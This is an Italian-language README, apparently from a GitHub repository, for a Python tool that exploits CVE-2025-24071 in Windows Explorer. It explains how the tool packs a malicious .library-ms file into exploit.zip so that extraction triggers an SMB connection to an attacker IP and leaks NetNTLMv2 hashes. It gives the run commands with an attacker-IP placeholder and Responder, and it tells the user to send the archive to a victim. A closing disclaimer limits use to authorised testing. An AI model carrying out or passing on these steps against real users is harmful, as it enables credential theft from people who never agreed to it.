rubbxalc/cve-2025-24071Genera un file ZIP che sfrutta CVE-2025-24071 per catturare credenziali netNTLMv2 da Windows Explorer tramite file .library-ms dannosi, pensato per test controllati.
Questo script Python è progettato per dimostrare la vulnerabilità CVE-2025-24071 in Windows Explorer. Questa vulnerabilità consente a un attaccante di catturare le credenziali netNTLMv2 di una vittima senza alcuna interazione diretta con la vittima.
La vulnerabilità CVE-2025-24071 risiede nel modo in cui Windows gestisce i file .library-ms all'interno degli archivi ZIP. Quando un file ZIP contenente un file .library-ms dannoso viene estratto, Windows tenta automaticamente di accedere a una posizione SMB specificata nel file, il che può comportare l'esposizione delle credenziali della vittima al server dell'attaccante.
Questo script genera un file ZIP contenente un file .library-ms dannoso. Quando una vittima estrae il file ZIP, il sistema tenta automaticamente di connettersi alla posizione SMB specificata nel file, inviando le credenziali netNTLMv2 all'attaccante senza alcuna interazione da parte della vittima.
Lo script prende come argomento l'indirizzo IP dell'attaccante e lo inserisce in un file XML che definisce un file .library-ms. Questo file istruisce Windows a connettersi a una risorsa condivisa all'indirizzo IP dell'attaccante.
Il file .library-ms viene quindi inserito all'interno di un file ZIP chiamato exploit.zip.
Quando la vittima estrae il file ZIP, Windows elabora il file .library-ms e, a causa della vulnerabilità, stabilisce automaticamente una connessione SMB al server dell'attaccante.
L'attaccante può catturare le credenziali netNTLMv2 utilizzando strumenti come Responder, senza che la vittima debba compiere alcuna azione.
zipfile, os, argparsepython exploit.py --ip <ATTACKER_IP>
responder -I <INTERFACE>
Invia il file exploit.zip generato alla vittima. Quando estrae il file, Windows tenterà di connettersi al server SMB specificato nel file .library-ms.
Una volta che la vittima estrae il file ZIP e Windows tenta la connessione SMB, Responder catturerà gli hash netNTLMv2 della vittima.
Questo script è destinato a scopi educativi e di test in ambienti controllati. L'uso dannoso di questa vulnerabilità potrebbe essere illegale e contrario alle leggi e alle normative di molti paesi. Utilizza questo script solo su sistemi di cui hai il permesso di effettuare audit e sempre con la dovuta autorizzazione.